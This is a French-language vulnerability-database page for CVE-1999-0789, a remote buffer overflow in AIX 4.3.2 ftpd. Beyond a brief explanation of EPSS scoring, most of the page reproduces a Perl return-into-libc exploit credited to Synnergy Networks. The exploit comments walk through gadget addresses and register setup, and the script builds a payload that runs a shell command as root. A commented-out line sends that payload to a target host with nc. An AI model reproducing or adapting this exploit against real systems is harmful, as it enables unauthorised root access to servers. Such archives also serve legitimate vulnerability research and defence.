CVE-1999-0789 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/679/info A remote buffer overflow vulnerability in AIX's ftpd allows remote users to obtain root access. #!/usr/bin/perl # *** Synnergy Networks # * Description: # # Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an # RS6000. (power) # This is an return into libc exploit specificly crafted for # one box and it is very unlikely to work on another box # * Author: # # dvorak (dvorak@synnergy.net) # Synnergy Networks (c) 1999, http://www.synnergy.net # * Greets: # # Synnergy Networks, Hit2000 crew, Emphyrio, shevek # * Comments: # # A full working exploit will be released later on. # The addresses point to positions in the program or libraries, # only the relevant instructions are shown also note that b r0 # is in fact something like mfsbr r0, bsbr or what that is in # RS6000 assembly. # # The final call is to system which needs the following arguments: # r3 = address of command to execute # r2 = TOC (what is TOC anyway), I don't know if it does matter but # we set it anyway (we can so why not do it) # r1 = SP but this is ok already, # the rest is free so it seems. # # Our route: # 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228 # 0x10015228: loads r12 with a value from our buffera # loads r0 with the next address to jump to (0x1001038c) # and sets r2 to another place in our buffer # 0x1001038c: sets r3 to a place in the buffer (finally!) # sets r0 to next address to jump to (0xd00406d4, system(...)) # # The flow with registers is thus: # r2 = 0x14(r1) # r12 = 0x110(r2) # r0 = 0x0(r12) # r2 = 0x4(r12) # r3 = 0x40(r1) # r12 = 0x3c(r2) # 0x14(r1) = r12 this is the plave where TOC is stored but it doesn't seem # to matter # r0 = 0x0(12) # r2 = 0x04(r12) # and of we go... # # We set: # $buf = the buffer on the stack $buf[0] is the first byte in the buffer # but we will count offsets from 4 (the first 4 bytes is just "CEL " is # doesn't matter, only the space does (it makes sure the rest of the buffer) # stays the way it is and isn't converted into lower case # # Offsets: # 0x000: 0x1001038c # 0x004: buf[0] # 0x008: this is the place where the address of the systemcall is taken from # 0xd00406d4 in our case# 0x00c: thi is the address where r2 is loaded # from just before the call to # system(..) we set it to the TOC in our program we don't know if it # matters and if the TOC is constant between hosts # 0x03c: buf[08] # 0x110: buf[0] # 0x204: return address (0x10010150) # 0x210: buf[0] # 0x23c: buf[0x240] # 0x240: "/tmp/sh" or whatever command you want to execute # r1 points to buf[0x1fc] # # I assume the positions in the libraries/program are fixed and that TOC # either doesn't matter or is fixed to please enlighten me on these topics. # # 0x10010150: # l r2, 0x14(r1) # b 0x10015228 # 0x10015228: # l r12, 0x110(r2) # st r12, 0x14(r1) # l r0, 0x0(r12) # l r2, 0x4(r12) # b r0 # 0x1001038c: # l r3, 0x40(r1) # b 0x100136f8 # 0x100136f8: # l r12, 0x3c(r2) # st r12, 0x14(r1) # l r0, 0x0(r12) # l r2, 0x04(r12) # *** Synnergy Networks $bufstart = 0x2ff22724; # this is our first guess $nop = "\xde\xad\xca\xfe"; $buf = "CEL "; $buf .= "\x10\x01\x03\x8c"; # 0 address of second piece of # 'borrowed' code $buf .= pack ("N", $bufstart); # 4 $buf .= "\xd0\x04\x06\xd4"; # 8 system call.. $buf .= "\xf0\x14\x63\x5c"; # c TOC $offset = 0x10; while ($offset < 0x3c) { $offset += 4; $buf .= $nop; } $buf .= pack ("N", $bufstart + 0x008); $offset += 4; while ($offset < 0x110) { $offset += 4; $buf .= $nop; } $buf .= pack ("N", $bufstart); $offset += 4; while ($offset < 0x204) { $offset += 4; $buf .= $nop; } $buf .= "\x10\x01\x01\x50"; $offset += 4; while ($offset < 0x210) { $offset += 4; $buf .= $nop; } $buf .= pack ("N", $bufstart); $offset += 4; while ($offset < 0x23c) { $offset += 4; $buf .= $nop; } $buf .= pack ("N", $bufstart + 0x240); $offset += 4; while ($offset < 0x240) { $offset += 4; $buf .= $nop; } # this is the command that will be run through system $buf .= "/tmp/sh"; $buf .= "\n"; # offcourse you should change this . # open F, "| nc -v -v -n 192.168.2.12 21"; open F, "| od -tx1"; printf F $buf; close F; # EOF